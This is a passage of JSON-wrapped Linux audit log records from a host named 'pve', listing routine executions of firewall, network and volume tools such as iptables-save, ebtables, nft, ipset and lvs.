nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545520,"@rawstring":"node=pve type=PATH msg=audit(1781964545.520:61479): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545515,"@rawstring":"node=pve type=PATH msg=audit(1781964545.515:61478): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545515,"@rawstring":"node=pve type=PATH msg=audit(1781964545.515:61478): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545509,"@rawstring":"node=pve type=PATH msg=audit(1781964545.509:61477): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545509,"@rawstring":"node=pve type=PATH msg=audit(1781964545.509:61477): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545503,"@rawstring":"node=pve type=PATH msg=audit(1781964545.503:61476): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545503,"@rawstring":"node=pve type=PATH msg=audit(1781964545.503:61476): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545499,"@rawstring":"node=pve type=PATH msg=audit(1781964545.499:61475): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545499,"@rawstring":"node=pve type=PATH msg=audit(1781964545.499:61475): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545496,"@rawstring":"node=pve type=PATH msg=audit(1781964545.496:61474): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545496,"@rawstring":"node=pve type=PATH msg=audit(1781964545.496:61474): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545494,"@rawstring":"node=pve type=PATH msg=audit(1781964545.494:61473): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545494,"@rawstring":"node=pve type=PATH msg=audit(1781964545.494:61473): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545494,"@rawstring":"node=pve type=PATH msg=audit(1781964545.494:61472): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545490,"@rawstring":"node=pve type=PATH msg=audit(1781964545.490:61471): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545490,"@rawstring":"node=pve type=PATH msg=audit(1781964545.490:61471): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545490,"@rawstring":"node=pve type=PATH msg=audit(1781964545.490:61471): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545483,"@rawstring":"node=pve type=PATH msg=audit(1781964545.483:61470): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545483,"@rawstring":"node=pve type=PATH msg=audit(1781964545.483:61470): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545476,"@rawstring":"node=pve type=PATH msg=audit(1781964545.476:61469): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545476,"@rawstring":"node=pve type=PATH msg=audit(1781964545.476:61469): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545470,"@rawstring":"node=pve type=PATH msg=audit(1781964545.470:61468): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545470,"@rawstring":"node=pve type=PATH msg=audit(1781964545.470:61468): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545463,"@rawstring":"node=pve type=PATH msg=audit(1781964545.463:61467): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545463,"@rawstring":"node=pve type=PATH msg=audit(1781964545.463:61467): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545456,"@rawstring":"node=pve type=PATH msg=audit(1781964545.456:61466): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545456,"@rawstring":"node=pve type=PATH msg=audit(1781964545.456:61466): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964544778,"@rawstring":"node=pve type=PATH msg=audit(1781964544.778:61465): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964544778,"@rawstring":"node=pve type=PATH msg=audit(1781964544.778:61465): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964544778,"@rawstring":"node=pve type=PATH msg=audit(1781964544.778:61464): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964544778,"@rawstring":"node=pve type=PATH msg=audit(1781964544.778:61463): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964544766,"@rawstring":"node=pve type=PATH msg=audit(1781964544.766:61462): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964544766,"@rawstring":"node=pve type=PATH msg=audit(1781964544.766:61462): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964544766,"@rawstring":"node=pve type=PATH msg=audit(1781964544.766:61461): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964544766,"@rawstring":"node=pve type=PATH msg=audit(1781964544.766:61460): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964544317,"@rawstring":"node=pve type=PATH msg=audit(1781964544.317:61459): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964544317,"@rawstring":"node=pve type=PATH msg=audit(1781964544.317:61459): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964544291,"@rawstring":"node=pve type=PATH msg=audit(1781964544.291:61458): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964544291,"@rawstring":"node=pve type=PATH msg=audit(1781964544.291:61458): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964539761,"@rawstring":"node=pve type=PATH msg=audit(1781964539.761:61457): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964539761,"@rawstring":"node=pve type=PATH msg=audit(1781964539.761:61457): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964539761,"@rawstring":"node=pve type=PATH msg=audit(1781964539.761:61456): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964539761,"@rawstring":"node=pve type=PATH msg=audit(1781964539.761:61455): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964539751,"@rawstring":"node=pve type=PATH msg=audit(1781964539.751:61454): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964539751,"@rawstring":"node=pve type=PATH msg=audit(1781964539.751:61454): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964539751,"@rawstring":"node=pve type=PATH msg=audit(1781964539.751:61453): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964539751,"@rawstring":"node=pve type=PATH msg=audit(1781964539.751:61452): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535445,"@rawstring":"node=pve type=PATH msg=audit(1781964535.445:61451): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535445,"@rawstring":"node=pve type=PATH msg=audit(1781964535.445:61451): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535441,"@rawstring":"node=pve type=PATH msg=audit(1781964535.441:61450): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535441,"@rawstring":"node=pve type=PATH msg=audit(1781964535.441:61450): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535440,"@rawstring":"node=pve type=PATH msg=audit(1781964535.440:61449): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535440,"@rawstring":"node=pve type=PATH msg=audit(1781964535.440:61449): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535440,"@rawstring":"node=pve type=PATH msg=audit(1781964535.440:61448): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535437,"@rawstring":"node=pve type=PATH msg=audit(1781964535.437:61447): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535437,"@rawstring":"node=pve type=PATH msg=audit(1781964535.437:61447): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535437,"@rawstring":"node=pve type=PATH msg=audit(1781964535.437:61447): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535431,"@rawstring":"node=pve type=PATH msg=audit(1781964535.431:61446): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535431,"@rawstring":"node=pve type=PATH msg=audit(1781964535.431:61446): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535425,"@rawstring":"node=pve type=PATH msg=audit(1781964535.425:61445): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535425,"@rawstring":"node=pve type=PATH msg=audit(1781964535.425:61445): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535418,"@rawstring":"node=pve type=PATH msg=audit(1781964535.418:61444): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535418,"@rawstring":"node=pve type=PATH msg=audit(1781964535.418:61444): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535412,"@rawstring":"node=pve type=PATH msg=audit(1781964535.412:61443): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535412,"@rawstring":"node=pve type=PATH msg=audit(1781964535.412:61443): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535407,"@rawstring":"node=pve type=PATH msg=audit(1781964535.407:61441): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535407,"@rawstring":"node=pve type=PATH msg=audit(1781964535.407:61441): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535402,"@rawstring":"node=pve type=PATH msg=audit(1781964535.402:61440): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535402,"@rawstring":"node=pve type=PATH msg=audit(1781964535.402:61440): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535396,"@rawstring":"node=pve type=PATH msg=audit(1781964535.396:61439): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535396,"@rawstring":"node=pve type=PATH msg=audit(1781964535.396:61439): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535389,"@rawstring":"node=pve type=PATH msg=audit(1781964535.389:61438): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535389,"@rawstring":"node=pve type=PATH msg=audit(1781964535.389:61438): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535382,"@rawstring":"node=pve type=PATH msg=audit(1781964535.382:61437): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535382,"@rawstring":"node=pve type=PATH msg=audit(1781964535.382:61437): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535377,"@rawstring":"node=pve type=PATH msg=audit(1781964535.377:61436): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535377,"@rawstring":"node=pve type=PATH msg=audit(1781964535.377:61436): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535370,"@rawstring":"node=pve type=PATH msg=audit(1781964535.370:61435): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535370,"@rawstring":"node=pve type=PATH msg=audit(1781964535.370:61435): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535364,"@rawstring":"node=pve type=PATH msg=audit(1781964535.364:61434): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535364,"@rawstring":"node=pve type=PATH msg=audit(1781964535.364:61434): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535361,"@rawstring":"node=pve type=PATH msg=audit(1781964535.361:61433): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535361,"@rawstring":"node=pve type=PATH msg=audit(1781964535.361:61433): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535358,"@rawstring":"node=pve type=PATH msg=audit(1781964535.358:61432): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535358,"@rawstring":"node=pve type=PATH msg=audit(1781964535.358:61432): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535357,"@rawstring":"node=pve type=PATH msg=audit(1781964535.357:61431): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535357,"@rawstring":"node=pve type=PATH msg=audit(1781964535.357:61431): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535357,"@rawstring":"node=pve type=PATH msg=audit(1781964535.357:61430): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535352,"@rawstring":"node=pve type=PATH msg=audit(1781964535.352:61429): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535352,"@rawstring":"node=pve type=PATH msg=audit(1781964535.352:61429): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535352,"@rawstring":"node=pve type=PATH msg=audit(1781964535.352:61429): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535346,"@rawstring":"node=pve type=PATH msg=audit(1781964535.346:61428): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535346,"@rawstring":"node=pve type=PATH msg=audit(1781964535.346:61428): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535340,"@rawstring":"node=pve type=PATH msg=audit(1781964535.340:61427): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535340,"@rawstring":"node=pve type=PATH msg=audit(1781964535.340:61427): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 